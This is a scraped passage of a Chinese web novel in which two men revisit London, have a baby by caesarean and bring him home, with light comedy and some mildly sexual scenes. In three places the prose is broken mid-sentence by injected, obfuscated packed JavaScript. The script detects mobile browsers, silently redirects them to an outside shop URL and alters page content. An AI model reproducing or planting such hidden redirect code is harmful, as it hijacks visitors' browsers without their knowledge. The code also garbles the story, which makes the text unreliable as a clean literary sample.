他说到这里顿了一下,又笑了一声。 “你压根没听,转身就跑了。” “我当时就在想,那是Bruce哎。” “教授就算抽问他,没教材肯定也能答对。” “更何况,想跟他坐一起同看教材的,教室都快挤不下了。” 没想到现在迟铎听完,不仅没害羞,还认真想了想。 “这很暧昧吗?” 裴与驰神色如常,耸了耸肩,像是在赞同迟铎的判断。 旧友:“……” 他一时不知道该从哪一句开始反驳。 毕竟那几年,从买奶茶的画面,他真的看过多少次了。 可能对他们来说,真的算不上什么特别的事。 谁知道呢。 反正好像从很早开始,他们的世界里,就已经默认不留位置给别人了。 午餐用完,宾主尽欢。 离开的时候,雾都一如既往地下起了小雨。 旧友站在门口,和他们挥手作别。 他们走进雨里,共撑一把黑伞,穿着大衣,背影并排,很快被灰蒙蒙的街景吞没。 其实还有些话,他没能说完。 当年在东区的工作室,拍完最后一套衣服的时候,已经是凌晨。迟铎换回自己的衣服,妆和造型没卸,嘴角叼着一支烟,靠在窗边低头回消息。 那一瞬间,他是真的想过,如果有一天他能做时装发布,迟铎一定会是他的开闭模特。 不会再有别人了。 话已经到喉咙口了。迟铎却接了个电话,说裴与驰刚好也下班了,正过来,一起回去。 旧友张了张嘴,最后什么都没说。 楼下的雨下得很大。 裴与驰靠在墙边看手机,听见脚步声抬头,随手把大衣脱下来,往迟铎头上一盖。 迟铎几乎是下意识地钻了进去,动作熟练得不像第一次。好像完全忘了自己身上也穿着一件大衣,而且还是同款。 巴黎世家的设计,太显眼了。 不用多想,也知道是谁当年非要缠着谁,一起扮黑客帝国。 雨声里,他们挤在同一件大衣下,很快走远。 旧友站在原地,看着那一幕,忽然觉得,那句话就算当年说出口,也不会改变什么。 因为从一开始,结局就已经写好了。 告别旧友后,迟铎并没有再提起那个暗恋的小插曲。他甚至很快就忘了。 大概是这些年,类似这样无疾而终的喜欢,他听过太多;又或者,他的耳朵和记忆里,能装下的东西本来就不多。 大部分位置,都被裴与驰占走了。 比如现在。 他们到了裴与驰基金公司的总部。 这里不是国内的中台,而是核心业务所在,也是裴与驰目前野心真正潜伏的地方。 迟铎离开英国之后,就很少再来。以前裴与驰几乎每两个月飞一次,在这边待上一个月;现在却已经很久没出现了——因为他。 有些事他记不住。 别人的暗恋、别人的心事,很容易从他脑子里滑过去。 但他记得裴与驰多久没飞来这里工作。 迟铎是亲眼看着这个地方一点点长起来的。最开始,只占了一层的一半,三张工位。后来慢慢扩张,人员换了一批又一批。到现在,这里的每一个员工都有着漂亮得过分的学术背景和履历。 而在最早的时候,甚至还有社区大学出身的。 那会儿,裴与驰一个人干完前中后台,从交易策略,到盯盘、复盘,再到募资,几乎都是他在撑,其他人能帮上的,大多只是会计层面的工作。 迟铎站在大厅里,看着这一切,忽然意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960283|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到,他们是真的一起走了很远了。 裴与驰牵过他的手,一边和路过的员工点头致意,一边把Leo叫进了办公室。 几位管理层看到他们交握的手和无名指上的戒指,没有露出任何意外的神情,只是顺势给了祝福,语气自然,像是在确认一件早就写进既定结局里的事。 对他们来说,好像本来就该是这样。 其他员工都是这几年陆续加入的,Leo却是元老。 最早那段时间,公司里除了两位同事和清洁阿姨,他见到得最多的,就是迟铎。 穿着明显不太符合金融街气质的衣服,偶尔坐在角落等老板下班;有时候是深夜,拎着热食过来,顺手分给还在加班的人。 他还听到过老板和迟铎关于kebab到底能不能吃的争论,最后老板打开门出来的时候,一没留意,就被塞了一嘴烤肉。 有人问起关系,老板说是朋友。 迟铎也说是朋友。 双方口径一致。 但—— Leo还记得第一年年底,他们公司终于有了预算,办了一场正式的活动对外推广。 那天裴与驰在台上演讲。 迟铎站在台下,穿得异常正式,一身剪裁利落的西装,手里拿着香槟,很认真地听他讲那些明显听不太懂的金融术语。 Leo当时觉得,那套西装不太像迟铎。 他更习惯看到迟铎私下的样子,随意、张扬,从不迎合场合。可当他看见迟铎鼓掌的样子,又觉得那身衣服无比合适。 不是因为西装本身。 而是因为迟铎并没有把自己硬塞进这套正装里。 他只是心甘情愿地穿上它,来见证裴与驰的第一个里程碑。 “Congrats,Bruce。” 裴与驰道了谢,接受了这个祝福。 然后他告诉Leo,今晚已经给每位员工安排了丽兹酒店的套房,附带spa和晚餐,香槟不限量。 行。 感恩老板娘。 Leo利索地走出去,宣布这个好消息。 隔着门,外面很快响起一阵压不住的欢呼声。 迟铎听着,忽然转过头,很认真地问裴与驰:“你到底打算什么时候搬去纽约?” 裴与驰一愣,看了他一眼。 “那才是你的主战场吧。”迟铎补了一句,“一直待在这边,算怎么回事。” 裴与驰失笑:“你怎么比我还着急我的事业。” 迟铎没立刻接话。 “伦敦不太适合小孩。”他说得一本正经,“天气不好,阴天太多。” 裴与驰挑了下眉。 “纽约阳光多。”迟铎继续找补,“生活节奏也好一点。” 说到这里,他停了一下,像是意识到自己说得有点多,又很快补了一句:“反正我是这么觉得的。” 话说出口的那一刻,他已经默认了会一起过去。 “我之前说过,”裴与驰语气很稳,“有些事,还没到那一步。” “该做的,得先做完。” 迟铎没再追问,他低头看了一眼自己的腹部,隔着衣料,动作很轻,几乎算不上触碰。裴与驰顺着他的视线看过去,语气不自觉放缓了一点。 “这里第一次正式开业的时候,”他说,“我先带了你过来。” 迟铎抬头。 “下次纽约开业,”裴与驰顿了一下,像是在确认措辞。“要带上他。” 迟铎没说话。 他只是想起已经定好的明天回国的机票。 以往这种行程,落地之后他们一定会多待几天,他会拖着裴与驰到处玩,而不是这么赶着回去。可这一次,他们要急着回去做检查。 这个念头浮上来的时候,他忽然意识到,那种从胎教开始,持续到领证的失重感,已经悄悄落了地。 不是为了给他一个合法身份。而是他们已经认真地,接受了他的到来,并决定一起陪他长大。 他们那个原本只容得下彼此的世界,已经心甘情愿地,为此多出了一点位置。 29.新生 虽然这趟故地重游走得很匆忙,临走前,他们还是绕去了Harrods,四楼,还请了儿童礼物顾问随行。 顾问一边确认需求,一边很专业地问了几句年龄阶段。 迟铎想了想,如实回答:“还没生。”又补了一句:“大概还有半年吧。” 顾问短暂地沉默了一下,很快恢复职业素养,把清单往后翻了几页。但最后被选中的,依旧是两件小婴儿根本用不上的东西。刷卡的时候,顾问的表情已经从“遇到中国有钱人”,平滑过渡到了“遇到中东土豪”。 陪买的表情一言难尽,负责刷卡的那位也好不到哪去。 一个一米高的超大公主风娃娃屋,再高二十厘米,就能去坐过山车了。 还有一个Harrods经典迎宾熊,几乎和迟铎差不多高。 裴与驰第一次知道,原来这个也卖。他一直以为只是商场装饰。 第一个目测,至少得两岁才能玩;至于第二个,他实在没想明白,是买来干什么的。 不过happy wife,happy life。想让日子好过一点的裴总还是利落地刷了卡,用行动表达了对迟铎审美的无声支持。 迟铎看起来很满意。具体在满意什么,他自己大概也说不上来。 反正小海马未来的生活,听起来就挺有挑战性的。一个只图省事的爸,和一个审美稳定输出的妈。 返程的飞机上,麻将室终于派上了用场。 前半段,迟铎终于体验了一把高贵的陪玩老板待遇,一直爽赢。毕竟一个完全没玩过,另两个不敢得罪,牌桌生态极其健康。 打到后半段,迟铎察觉不对。 有人开始发力了。 他当机立断,把牌一推,靠回座椅,“困了。” 裴与驰:“?” 迟铎闭上眼,语气理直气壮:“小海马要睡觉。” 裴与驰:“……” 明晃晃地挟天子以令诸侯。 裴与驰说了声“好”,然后起身,直接把迟铎公主抱了起来,还在怀里掂了掂。 迟铎:“……” 助理看地,营养师看天,一个比一个懂事。 “怎么了?”裴与驰低头看他,“又不想睡了?” 迟铎看着另外两个人,沉默了两秒。 “……你是不是太熟练了点。” “我说过。”裴与驰语气平静,“以后会抱很多次。” 麻将室里的温度瞬间又高了一点,三个人仿佛在蒸桑拿,只有一个人泰然自若。 快乐总是短暂的,而尴尬,总是如影随形。 回国后不久,那两件奔放的礼物也陆续到了国内,时间卡得刚好,正是圣诞节前夕。家里原本那棵已经泛黄的圣诞树被撤掉,直接换了新的,装饰也照旧。 猫猫头、娃娃屋、迎宾熊,一个不落。 性冷淡客厅,正式宣告死亡。 迟铎站着认真欣赏了一下,忽然开口:“你不觉得有点花吗?”裴与驰顺着他的视线看过去,语气很平静:“还好。” 他停顿了一下,又补了一句:“反正之后还会更花。” 迟铎:“……” 他没反驳。 只是又看了一眼客厅,心里莫名其妙地冒出一个念头:好像,也没那么不能接受。 之后的日子过得很快,身体的变化却一点都不含糊。 有天早上醒来,迟铎站在衣帽间前,对着镜子看了两秒,忽然有点感慨。他翻出几条当年非主流时期、因为痴迷sagging 穿搭而购入的超低腰裤。以前穿的时候,裤腰低到动不动就要露一半内裤,他还没那么潮,一般会在里面再套一条短裤,专门露出裤腰。 现在却刚刚好。 他把这个发现分享给裴与驰,语气里还带着点莫名其妙的骄傲:“幸好当年非的时候,买得多。” 裴与驰听完,重点却放在了另一个地方,“只是当年?” 迟铎:“……” 他刚想回头吵架,下一秒就被人熟练地抱了起来,直接出了卧室。 “你……” “地上冷。”裴与驰语气很自然,“而且你走得慢。” 迟铎:“……” 自从行动开始不太方便之后,裴与驰真的做到了字面意义上的时时刻刻抱着。从卧室到客厅,从客厅到厨房,流程熟练得不像第一次。 迟铎被抱在怀里,低头看了他一眼,忽然有点服气。 哥们练得是真好。 挺帅的。 就在这时,他的手机震了一下,是周淮。 迟铎看了一眼来电显示,接通的时候语气还挺随意:“喂?” 那头沉默了两秒,像是在确认什么,随后声音压得很低:“你……还好吗?” 迟铎一愣:“啊?” 周淮吞吞吐吐:“就是……最近网上那些事,你突然消失,我还以为你……” 他没说完,但迟铎已经听出来了。 在周淮的版本里,事情大概是这样的: 兄弟和好兄弟419之后,发现对方是直男,苦苦追求,爱而不得,心如死灰,状态低迷,社交断联,最后疑似抑郁。剧情完整到可以直接立项拍短剧。 哦,还要加上周淮本人反复纠结、犹豫要不要打扰的独角戏。 “不是。”迟铎打断他,“你想多了。” “你别逞强。”周淮语气立刻严肃起来,“我都想好了,实在不行,今晚我带你去男同酒吧。” 迟铎:“?” “点两个好哥哥。”周淮补充得非常贴心,“给你全方位安抚创伤。” 哥们弯了这件事,周淮其实消化了好久。顺便还仔细复盘了一下年少时光,认真思考过迟铎是不是暗恋过自己。复盘完发现应该没他什么事,又迅速释怀,准备若无其事地继续当兄弟。结果就撞上迟铎上热搜、停工、行踪成谜,一整套苦情剧自动续写停不下来,直到今天他才鼓起勇气打这通电话。 迟铎沉默了一下,还是没忍住好奇:“为什么是两个?” “我估摸着你是重伤。”周淮答得很诚恳。 迟铎:“……” 他还被裴与驰稳稳当当地抱着。对方一只手托着他,另一只手甚至还空出来,顺手把他的手机往耳边凑了凑。 这个画面,和周淮脑补里的任何一个版本,都没有半点重合。 迟铎深吸一口气,决定直球砸死这倒霉催的。 “我和裴与驰结婚了。” 电话那头安静得离谱。 迟铎嫌弃周淮继续沉默会让裴与驰手累,干脆利落地挂了电话。 等他被温柔地安置回沙发上,才慢吞吞地补了后续。他把两人牵着手的照片发了过去。无名指上的戒指,醒目得不需要任何说明。 于是,他们在圈子内完成了一次小范围官宣。 共同好友先是集体目瞪口呆了一阵,随后又迅速达成共识,好像也没什么不对。 各自的朋友则直接惊掉了下巴。电话、消息、邀约齐刷刷地冒出来,费尽心思找各种冠冕堂皇的理由:好久没见了,出来吃个饭吧,叙叙旧,联络感情。名义很正当,真实目的也很统一。就是想亲眼看看,这两个人到底是怎么谈恋爱的。 可惜,一个都没成功。 所有试图围观的,都被他们挡了回去。理由统一,且无懈可击:度蜜月。 ……………… 于是,事情只变得更让人好奇了。 月份一天天往后走,行动不便这件事,终于从有点麻烦,升级成了确实不太行。 迟铎第一次认真考虑电动轮椅,是在某个无所事事的下午。他窝在沙发里看电影,为了照顾肚子里的小海马,选的是《憨豆特工》。 镜头里,轮椅横冲直撞,转弯利落,气场拉满。迟铎盯着看了两秒,得出结论。 挺帅的。 而且很合理。 他现在确实不适合频繁走动,但也远没到完全丧失行动能力的地步。 轮椅,刚好,尤其是这么帅的。 他把这个想法提出来的时候,语气还挺轻松:“我觉得电动轮椅挺好的。” 裴与驰抬眼看了他一眼,没有立刻反驳。 “你是不是想自己开着到处跑。” 迟铎:“……” 拆穿得过于迅速。 “英国很多老头老太都用。”迟铎补充,“我看挺安全的。” 裴与驰没接电影的茬,只是走过来,很自然地把他从沙发上抱起来。动作熟练到已经不需要任何预备。 “危险。” 语气不凶,但结论明确。电动轮椅方案,当场否决。 最后的折中方案,是在自家花园散步时用手动轮椅。 迟铎全副武装,帽子、口罩一个不少,被推着绕花园慢慢走。他靠在椅背上,面无表情地看着前方的草坪,忽然冒出一个念头,自己现在这个造型,和临终关怀患者的区别,好像确实不大。唯一不像的地方,大概是身后的看护。 迟铎偏头看了一眼。 裴与驰推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964802|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着轮椅,步伐很稳,视线几乎没离开过他。风大一点就给他把外套拉好,皱一下眉就立刻停下。 没有到这种级别的看护。 孕后期的变化是实打实的,身体不再完全属于自己,很多事需要提前计划,甚至需要被照顾。 可迟铎发现,那种预想中的恐惧,一直没来。 不是因为他变得多勇敢,而是有人在他还没意识到之前,就已经把所有可能的不安挡在了外面。 所以医生确认手术时间,说为了稳妥需要提前剖腹的时候,他只是点了点头。 没有多问,也没有犹豫。 进手术室那天,他很安静,没有刻意给自己打气,也没有反复确认什么。 他只是知道,外面有人在等他。 这就够了。 手术不算长,过程也很顺利。小生命被送进保温箱的那一刻,主任明显松了口气。 离把门口那尊大神好好送走,又近了一步。 迟铎醒来的时候,意识还没完全回来,先感觉到有人在他嘴角轻轻擦拭。棉签的动作很轻,像是怕吵醒他。 他皱了下眉,眼睛还没睁开,先开口。 “你是不是没睡?” 声音有点哑,但语气很认真。 床边的人明显顿了一下,新手爸爸难得地没第一时间接话。 “……没事。” 他说得很快,又补了一句, “我不困。” 迟铎努力睁开眼,仔细确认了裴与驰的状态。 还好,不是很憔悴。迟铎这才轻轻呼出一口气。 然后才慢半拍地想起什么,补了一句: “……他呢?” 只顾着大的,差点把小的忘了。 “我不知道。” 话出口得太直接,裴与驰自己都愣了一下,他的注意力从头到尾,都没离开过这张床。 于是立刻找补:“他那边很多人。” 语气像在说服自己,也说服迟铎。“不会有事。” 这位显然更是重量级。 小海马看起来,未来不太好生存的样子。 不过这对看起来不太靠谱的新手父母,最后还是被安排见到了他的真容。 迟铎:“……” 裴与驰:“……” 短暂的沉默。 裴与驰:“丑。” 迟铎:“确实。” 两个人的反应出奇一致,不是嫌弃,只是一时间有点接受不了。 不说自己,光看对方,都是那种帅得很过分的类型。 就算不说更胜一筹,至少也该稳定发挥。 结果现在直接一拉到底。 又红又皱,还因为算超早产儿,整只都特别小。 其实就是在嫌弃,小海马刚出生,就遭遇人生第一次父母双杀。 幸好有天使护士在旁边护短:“刚出生都这样。” “以后会长开的。” 过了几分钟,迟铎还是没忍住,又往前凑了一点。动作很轻,像是怕被发现自己其实挺在意。他盯着看了两秒,眉头慢慢皱起来。 好像……鼻子那块,有点像裴与驰。不是很明显,但角度对的时候,看得出来。他偏头看了裴与驰一眼,又很快把视线收回来。心里默默把刚才那句“确实”,往回撤了一点。 不多,就一点。 “……以后长开了再说。” 他语气恢复如常,像是在给自己找台阶。裴与驰没接话,只是往他这边靠近了半步,距离近得刚好。两个人的影子,一起落在保温箱上。谁也没再说话。 护士过来确认数据,语气很随意,“你们一会儿可以回病房休息了。”她顿了一下,顺口补了一句:“爸爸可以陪着。” 说得太自然了。 迟铎愣了一下,下意识偏头看向裴与驰。对方也慢了半拍,像是才意识到这句话指的是自己。 “好。”裴与驰应了一声。 护士已经转身去忙别的事了,可那句话却没跟着一起离开。 迟铎靠回去,视线落在天花板上。 原来是这样,新的身份不需要郑重的宣告,只是被人顺口点出来,就可以开始算数了。 他动了动手指,裴与驰立刻察觉,低头看过来。迟铎没说话,只是把手递过去,裴与驰握住了。 很稳,很温暖。 迟铎闭了下眼。 这一刻他很清楚,他们不再只属于彼此了。 但他一点都不害怕,这个原本只装得下两个人的世界,安静地,多了一点重量。 30.家事(1) 第五十六天,晚。 裴与驰清空了第二天的行程表,理由很简单,家事。 他删得很快,像在处理一件早就决定好的事。 迟铎靠在枕头上,看他清行程的同时,脑子已经跑到第五十七天,也就是明天。浴盐味道要提前选好,融蜡灯也得记着开。他喜欢浆果味,甜得不张扬,别的味道太浓,不太合适。等裴与驰合上电脑的时候,迟铎已经把明天之后的流程在脑子里过完了一遍。 台灯被关,两个人躺下,非常有默契。今晚是第五十六天,所以他们什么都没做,只是安安静静地睡了。 八周前,小海马出生没几天,还安安稳稳地躺在保温箱里。医生把情况说明完,像是顺手想起了什么,又补了一条医嘱:禁欲,八周。 八周。整整八周。 一开始迟铎伤口疼得不行,别说八周,就算医生说八十周,他大概也不会有任何异议。那时候他对世俗欲望毫无兴趣。可在钞能力和裴与驰二十四小时贴心陪伴的双重加持下,他恢复得好得有点不讲道理。到第六周,伤口已经不怎么疼了,行动也基本自如,连医生翻着检查结果时语气都开始过于肯定。 唯一还在坚守岗位的,只剩那条被反复强调过的医嘱。 八周。 迟铎躺在床上看着天花板,在某个毫无预警的夜晚忽然意识到一件事,身体已经不太愿意继续配合他的理智了。他闭了闭眼,感受着两腿间的湿意,真正难熬的阶段才刚刚开始。 更要命的是裴与驰。对方看上去比他还清心寡欲,堪比苦行僧里的苦行僧。作息规律,态度端正,连眼神都挑不出一点越界的痕迹。每天从浴室出来,衬衫永远扣到最上面一颗,规规矩矩,严丝合缝。 可明明以前他还很热衷于毫无必要地裸着上身给他看,然后纵容地让他抓得满是痕迹。 这种状态不像是在忍,更像是真的没兴趣。 偷偷破戒这条路,看上去完全走不通。 迟铎一度怀疑,是不是只有自己一个人在熬,难道他真有什么见不得光的瘾。 后来某次他实在忍不住,假装随意得不能再随意,随意到连自己都不太信,才装作漫不经心地问了一句:“你这段时间,是不是一点想法都没有” 如果真没有,那他或许需要提前咨询一下律师,看看丈夫不行这种情况,在分配上能不能给自己争取点主动权。 裴与驰系袖扣的动作顿了一下,很短:“有。” 迟铎一愣。 裴与驰抬眼看他:“但你身体更重要。” 误会解除。 迟铎想了想,却觉得还不如继续误会下去,至少这样问题不全在他身上。 更要命的是,一个人的兵荒马乱还能靠胡思乱想保持理智,一旦确认是两个人一起熬,那点自制力立刻就显得不堪一击。 还有一周,迟铎度日如年。白天还好,复健、检查、复查,去医院看小海马把时间排得满满的,身体被流程拖着走,脑子没空添乱。一到晚上就彻底不行了,灯一关,安静下来,他几乎能感觉到体温在往上爬,明明什么都没发生,整个人却已经进入一种随时会自燃的状态。 裴与驰只是看了他一眼,不是刻意的那种,甚至算不上停留,那点不该有的反应却已经开始不受控制地聚起来,迟铎忍不住把腿收紧一点,硬把自己当成在做复健。 裴与驰看起来依旧冷静,可真正睡下的时候,白天那点刻意拉开的距离一下子没了。迟铎的手不小心碰到了一下,只是很轻的一下,却已经足够让他确认,原来不只是他一个人在想念。 两个人就这样心照不宣地一起熬着倒数计时。 第五十七天,早上七点。 裴与驰在卧室打电话,迟铎在浴室里捣鼓着,水声断断续续。床头的融蜡灯已经被打开了,浆果味在空气里散开,和清晨显得有些不合时宜,像夜晚的布景被提前搬了出来。 电话刚挂断,浴室门被推开,一股玫瑰香涌出来。 裴与驰看过去,停了一下,神情就变得饶有兴味。迟铎穿着他的白衬衫,只穿了这件,至少看起来是这样。裴与驰没说话,视线从领口一路往下,最后停在衬衫下摆的阴影处。 而这一刻距离他们严格遵守八周医嘱,刚过去七个小时左右。 迟铎由他打量,走过来,光着脚踩在地毯上,动作很慢,抬手搂住他的脖子。裴与驰没动,由着他靠近。唇刚要贴上,外面忽然一阵响动,脚步声里夹着人压着嗓子的嘀咕。迟铎停住,抬眼看他。 明明昨晚就给家里其他人员放了假,因为今天心照不宣地想试试家里的每一处,按理说房子里除了他们,应该没人。 裴与驰没解释,他先低头就着这个姿势亲了一下,很短,像在提前达成约定,才开口:“医院说,今天可以接回家了。” 迟铎愣了一下,反应过来:“明天去不可以吗?明天我们一早去好不好~” 尾音已经带着撒娇,手也在裴与驰脖子后面晃了晃,试图收买他一起当个不称职的父母。反正小海马在医院享受皇帝待遇,助理助手一堆。 裴与驰还没来得及说话,门把手忽然被人从外面一拧,伴随着几句压着火气的催促。卧室门没锁,门开得很干脆。 “迟铎,你们还在磨蹭什么” “快去接宝宝啊。” 迟了了站在门口,视线一扫,先落在床头那盏融蜡灯上,浆果味甜得发腻,又落在迟铎身上那件白衬衫上,最后才落到裴与驰手上。裴与驰很绅士地拉了下白衬衫下摆,像在给某种不体面的事补上最后一块遮羞布。 迟了了沉默了半秒,嫌弃地对儿子开炮:“有点素质行吗?大庭广众的,别丢人现眼。” 迟铎:“……” 他下意识抬头看了眼四周,确认这是他们主卧。 大庭广众在哪? “行了,行了。”迟了了似乎实在看不惯这对夫妻过于伤风败俗,嘴上骂着“大庭广众”,手却把门推得更开一点。广众不好说,他先把大庭坐实了,顺便也不管自己儿子光着的大腿漏不漏风。 他视线一转,像直接切回正事,“医院那边说了,今天可以接回家。” 他又鄙夷地 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迟了了点点头,转身就往玄关走,走到门口又停了一下回头补了一句:“以后早上别点那些乱七八糟的,熏得我头疼。” 迟铎:“……” 又不是给你点的。 他装作没听见,把门关上跟上去。迟了了步子迈得飞快,仿佛晚一秒小海马就要被人抢走。 车上,裴与驰一边开车一边和岳父说话,语气平稳,虽算不上恭维,但足够礼貌。迟铎在后座,脸色明显不好,安全带扣好以后就没再动过,和旁边的婴儿提篮挤在一起。 车子刚开出不远,迟了了像是终于等到了一个合适的时机,清了清嗓子:“名字我想好了。” 迟铎眼皮动了一下,没睁。 “孩子总得有个响亮点的名字。”迟了了语气很笃定,“我想了很久。” 迟铎没接话。迟了了当他默认了,继续说下去:“裴潜龙。” 车里安静了一秒。裴与驰握着方向盘,没回头,车速很稳。 迟铎睁开眼坐直了:“你再说一遍” “裴潜龙。”迟了了重复得很自然,“潜龙在渊,将来一飞冲天,多好。” 迟铎看着前排座椅背面,像在认真消化这四个字:“家里败家子已经够多了。” 迟了了愣了一下:“你说什么” “我说这名字不好。”迟铎语气很平,“赔钱。” 迟了了立刻不服气:“你懂什么,这是典故。” “典故也不行。”迟铎说,“他好不容易才出保温箱,你别又给他安排飞升路线。” 迟了了琢磨了一下,表情明显松动了。 接下来车里没人说话。迟了了低头点开手机,屏幕亮了又暗,暗了又亮。大额转账提示跳出来的时候,他已经在和大师讨论第二个起名方案了。 医院。 手续走完,护士把保温箱推出来的时候,小海马醒着,眼睛半睁,整张脸还是那种没来得及展开的样子。 31.家事(2) 小海马还是很小,但足月后比一开始大上了不少。 裴与驰看了一会儿,评价很公允,内容也没变过。 “丑。” 迟铎点头点到一半,“确实……”话到嘴边,他停住,抬眼看了看护士,又看了看保温箱,然后瞪了裴与驰一眼,在唇边做了个“嘘”的手势。很敷衍,但立场明确。 裴与驰:“?” 迟铎已经低头解锁了手机,几秒后,裴与驰的手机震了一下。 【老婆】这种话别当面说。 他现在听不懂,但以后会。 裴与驰:“……” 他把手机扣回去,又看了眼保温箱。 迟铎很快又发来一条。 【老婆】不过现在确实还是挺丑的。 裴与驰:“……” 裴与驰还没来得及说什么,护士已经俯身,熟练地调整了一下保温箱的角度,语气还带着点护短:“这个阶段都这样,皱是正常的。”她看了眼小海马的脸,视线比刚才多停了两秒,“骨相不错,眉骨和鼻梁都出来了。”顿了顿,又像是在讲常识,“这种一般长开以后,会非常好看。” 迟铎:“……” 迟铎低头看了一眼时间,默默把刚才那条微信撤回了,还好,没超过两分钟。 【老婆】撤回。 裴与驰:“……” 护士解开保温箱的锁扣,“可以抱了。” 迟铎应了一声,动作不算慢,却明显有点僵。他把手伸出去,又调整了一下位置,小海马被放进他怀里的那一瞬间,迟铎愣了一下:“……这么轻。” 小海马动了一下,迟铎下意识把手臂收紧一点,随即又意识到力道不对,立刻松开,嘴比脑子快:“别乱动。” 护士看他一眼:“他听不懂。” “我知道。”迟铎说,“我是提醒我自己。” 裴与驰站在旁边,手一直托着另一侧,没说话。 护士看了一眼时间,“可以准备走了。你们把提篮拿过来,出院要放进去。” 迟铎这才回头,把他们带来的婴儿提篮推近一点。他把小海马往里放的时候手都不敢快,像怕一松就把人放没了。毯子盖上去,扣带扣好,咔哒两声,很轻。迟铎盯着那两声,眉头紧了紧:“会勒着他吗” 护士语气很淡定,像是早就听惯了新手父母的疑问:“不会勒。” 她把材料递过来:“走吧。” 他们推着提篮往外走。拐出病区,迟了了就站在那儿,还是抱着双臂,脸色很严,像专门来监督的。他本来要开口催,视线落进提篮里,话就停住了。 小海马醒着,眼睛半睁,皱皱巴巴,被毯子裹得很规矩。 迟了了沉默了半秒,清了清嗓子,把表情硬掰回去:“嗯,出来了啊。”语气听起来和平时没区别,人却已经凑近了,弯下腰看得特别认真。看了两秒,他又咳了一声,像找回点场子:“骨相不错。” 迟铎抬眼:“你还懂骨相?” 迟了了不看他,盯着提篮里那张小脸,语气很硬:“护士刚才说的,我听见了。” 迟铎:“……” 电梯门开了。迟了了先进去,按住开门键,回头催:“快点。”催完又低头看了一眼提篮,眼神亮得像没藏住,立刻又板回去,像怕被人抓现行:“回家!” 医院那边送他们出门的时候,护士医生的笑都比平时真诚一点。 医院在欢送大佛,这边小海马从皇帝降级为破落户,连申诉通道都没开通。 婴儿房早就准备好,干净得过分,灯光也调得刚刚好。东西一应俱全,婴儿床,电动睡篮,哺乳椅,通风净化一套都装上了,连线都理得整整齐齐。至于准父母会不会用,难说。 月嫂的陪睡床也早安置好了,可月嫂本人苦于签证出了点问题,还要再等一段时间。至于备用工作人员,则被他们以某些不可告人的蝇营狗苟之事为由统统放了假。 原本他们预计小海马出狱时间还要再迟几天。今天的任务只有给家里每一处都点上浆果味的蜡烛。结果现在,他们拎着婴儿提篮,独自在诺大的房子里面面相觑。 迟了了来去如风,到家屁股还没坐稳,接了个电话,一拍脑门说有事。临走前还心满意足地弯腰看了一眼小海马,像是验收完毕。 门一关,人就没了。 留下迟铎站在婴儿房门口,脸色难看得很。他终于明白,自己老爸今天的功能从头到尾就两个,监工,以及精准掐点破坏夫妻生活。 “怎么说?”迟铎看着裴与驰手上拎着的提篮,意有所指。 裴与驰没说话,只看着他。 迟铎秒懂。 “我去开灯。” 两人分工合作。迟铎去主卧制造气氛,裴与驰把小海马放回他今后的窝。 迟铎走得很快,像怕慢一步就会被名为母亲的良心追上。他把主卧门关上,先去找融蜡灯,又去找浴盐。动作熟练得像排练过,自动遮光窗帘落下,他顺手把台灯角度也调了一下,光线落下来,柔得很暧昧。 调好后,他又看向衣帽间,里面一排裴与驰的白衬衫供他挑选。 另一边,裴与驰先打开空气净化,遮光帘落下,夜灯调到适合小婴儿的亮度。他把提篮放到婴儿床旁边,先去洗了手,再回来解扣带。 咔哒一声,很轻。小海马皱着脸哼了一下。 裴与驰停住,等了两秒。 没醒。 他才继续。 抱起的时候,小海马轻得离谱,像一团热的棉花。裴与驰托着他,把他放进婴儿床里,动作很稳,很熟练,像这件事在脑子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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语气里全是烦躁和不情愿,像在嫌弃小海马从出生前到出生后都很会挑时候。 迟铎站在浴缸旁边,听着哭声在房间里回荡。玫瑰味的水汽慢慢升起来,灯光还很温柔,氛围却消失不见。他走到洗手台前瞄了一眼监视器屏幕,小海马皱成一团,嘴张得很大,哭得认真又用力,哭声里还夹着一点短促的停顿,像真喘不过来。 迟铎低低骂了一句:“……你可真会挑时候。” 他本来想硬撑两秒,结果一秒都没撑住,裴与驰才出门他就跟着出去了。那哭声和小模样太可怜了,根本让人狠不下心肠去做别的事。走到门口他还回头瞪了那台监视器一眼,像看仇人:“早知道就不买可视的了。” 迟铎话音落地,人已经从主卧撤离。 32.家事(3) 走廊的灯没开全,婴儿房那边的夜灯亮着一小团,哭声从门缝里漏出来,听着不算大,却特别有存在感,像专门挑着人的神经按下去。 裴与驰比他快一步,已经站在婴儿床边,脸上那点被打断的火还没收好,就被哭声逼得端正起来。他俯身看了一眼,小海马哭得很认真,眉头皱到一起,嘴张得很大,像在把今天所有的不满都一次性结算。 迟铎一秒心疼,下一秒就想抱起来哄,可手伸出去又缩回来,怕自己一用力就把这一小团弄坏。 新手爸爸倒是胆子大,直接把小海马抱起来。小海马离开床垫的瞬间,哭声停了一拍,像是确认投诉对象已全部到场,然后继续。投诉有效,仍在服务区内。 新手父母开始排除法。 